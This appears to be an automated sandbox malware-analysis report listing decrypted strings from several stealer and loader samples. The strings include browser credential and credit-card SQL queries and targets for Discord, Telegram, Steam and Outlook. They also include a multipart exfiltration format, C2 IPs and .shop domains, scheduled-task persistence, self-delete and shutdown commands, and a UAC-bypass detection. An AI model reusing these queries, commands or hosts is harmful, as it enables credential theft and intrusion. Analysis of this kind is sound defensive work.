Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: wsprintfW
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RegEnumValueA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: StrStrA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: StrCmpCW
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RmStartSession
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RmRegisterResources
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RmGetList
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: RmEndSession
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: PATH
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: browser:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: profile:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: url:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: login:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: password:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Opera
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: OperaGX
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Network
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: cookies
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: .txt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: TRUE
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: FALSE
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: autofill
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: history
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: name:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: month:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: year:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: card:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Cookies
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Login Data
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Web Data
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: History
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: logins.json
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: usernameField
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: guid
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: plugins
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Local Extension Settings
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Sync Extension Settings
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: IndexedDB
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Opera Stable
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Opera GX Stable
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CURRENT
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: chrome-extension_
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Local State
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: chrome
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: opera
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: firefox
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: wallets
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ProductName
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ProcessorNameString
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DisplayName
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Network Info:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - IP: IP?
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Country: ISO?
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: System Summary:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - HWID:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - OS:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Architecture:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - UserName:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Computer Name:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Local Time:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - UTC:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Language:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Keyboards:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Laptop:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Running Path:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - CPU:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Threads:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Cores:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - RAM:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - Display Resolution:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: - GPU:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: User Agents:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Installed Apps:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: All Users:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Current User:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Process List:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: system_info.txt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Temp\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: .exe
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: runas
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: open
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: /c start
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %DOCUMENTS%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %RECENT%
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: *.lnk
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: files
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \discord\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Telegram Desktop\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: key_datas
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: map*
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Telegram
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: *.tox
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: *.ini
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Password
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: 00000001
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: 00000002
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: 00000003
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: 00000004
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Pidgin
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \.purple\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: accounts.xml
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: token:
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Software\Valve\Steam
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SteamPath
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \config\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ssfn*
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: config.vdf
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DialogConfig.vdf
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: libraryfolders.vdf
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: loginusers.vdf
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Steam\
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: browsers
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: done
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: soft
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: https
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: POST
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: hwid
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: build
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: token
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: file_name
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: file
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: message
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: screenshot.jpg
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: 185.172.128.19
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: /ghsdh39s/index.php
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: S-%lu-
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: cd1f156d67
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Utsysc.exe
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SCHTASKS
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: /TR "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Startup
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: rundll32
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: /Delete /TN "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Programs
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: %USERPROFILE%
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: http://
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: https://
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: /Plugins/
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: &unit=
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: shell32.dll
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: kernel32.dll
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: ProgramData\
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: AVAST Software
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Kaspersky Lab
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Panda Security
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Doctor Web
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: 360TotalSecurity
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Bitdefender
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Norton
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Sophos
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Comodo
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: WinDefender
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: 0123456789
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: ------
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: ?scr=1
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: ComputerName
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: -unicode-
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: VideoID
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: DefaultSettings.XResolution
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: DefaultSettings.YResolution
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: ProductName
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: CurrentBuild
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: echo Y\|CACLS "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: " /P "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: CACLS "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: :R" /E
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: :F" /E
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: &&Exit
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: rundll32.exe
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: "taskkill /f /im "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: " && timeout 1 && del
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: && Exit"
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: " && ren
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: Powershell.exe
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: -executionpolicy remotesigned -File "
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: shutdown -s -t 0
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: /w']fC
Source: 39.2.NewB.exe.e50000.0.unpack	String decryptor: vw(hF=
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: pillowbrocccolipe.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: communicationgenerwo.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: diskretainvigorousiw.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: affordcharmcropwo.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: dismissalcylinderhostw.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: enthusiasimtitleow.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: worryfillvolcawoi.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: cleartotalfisherwo.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: affordcharmcropwo.shop
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 29.2.RegAsm.exe.400000.0.unpack	String decryptor: LGNDR1--ketamine

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Code function: 9_2_008A3EB0 CryptUnprotectData,CryptUnprotectData,

9_2_008A3EB0

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file300un.exe PID: 7556, type: MEMORYSTR

Source: 1CMweaqlKp.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source:	Binary string: freebl3.pdb source: freebl3[1].dll.51.dr
Source:	Binary string: C:\wutimosolix_62\gowaj\tosusinana-la.pdb source: ISetup8.exe, 00000029.00000003.2151074345.0000000003871000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000000.2149099984.0000000000412000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.51.dr
Source:	Binary string: C:\somilixucasoba_pi.pdb source: ISetup8.exe, 00000029.00000000.2055258369.0000000000412000.00000002.00000001.01000000.00000019.sdmp, rVg8HtIzXa4xhJHL7Pn8A6d2.exe.54.dr
Source:	Binary string: file300un.PDBI: source: file300un.exe, 00000032.00000002.7139604951.000000C2DA0F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\rute\dazazef.pdb source: toolspub1.exe, 00000031.00000000.2109256617.0000000000412000.00000002.00000001.01000000.0000001D.sdmp, toolspub1.exe, 00000031.00000002.2197395229.0000000000412000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: mscorlib.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.ni.pdbRSDS source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: C:\dimohisek.pdb source: ppcQqLgPI8Dyy7YykX33fm5x.exe.54.dr
Source:	Binary string: Croco.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1000075001\file300un.PDB source: file300un.exe, 00000032.00000002.7139604951.000000C2DA0F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: YC:\rute\dazazef.pdb source: toolspub1.exe, 00000031.00000000.2109256617.0000000000412000.00000002.00000001.01000000.0000001D.sdmp, toolspub1.exe, 00000031.00000002.2197395229.0000000000412000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: ,C:\dimohisek.pdb source: ppcQqLgPI8Dyy7YykX33fm5x.exe.54.dr
Source:	Binary string: pC:\Users\user\AppData\Local\Temp\1000075001\file300un.PDB source: file300un.exe, 00000032.00000002.7139604951.000000C2DA0F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb4 source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.Core.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: GC:\somilixucasoba_pi.pdb source: ISetup8.exe, 00000029.00000000.2055258369.0000000000412000.00000002.00000001.01000000.00000019.sdmp, rVg8HtIzXa4xhJHL7Pn8A6d2.exe.54.dr
Source:	Binary string: System.ni.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.pdb source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA6A7.tmp.dmp.34.dr
Source:	Binary string: System.Core.ni.pdb source: WERA6A7.tmp.dmp.34.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Directory queried: number of queries: 1081

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008A33B0 FindFirstFileA,FindNextFileA,	9_2_008A33B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008C3B20 FindFirstFileA,FindNextFileA,SetFileAttributesA,RemoveDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	9_2_008C3B20
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00811F8C FindFirstFileExW,	9_2_00811F8C

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user	Jump to behavior
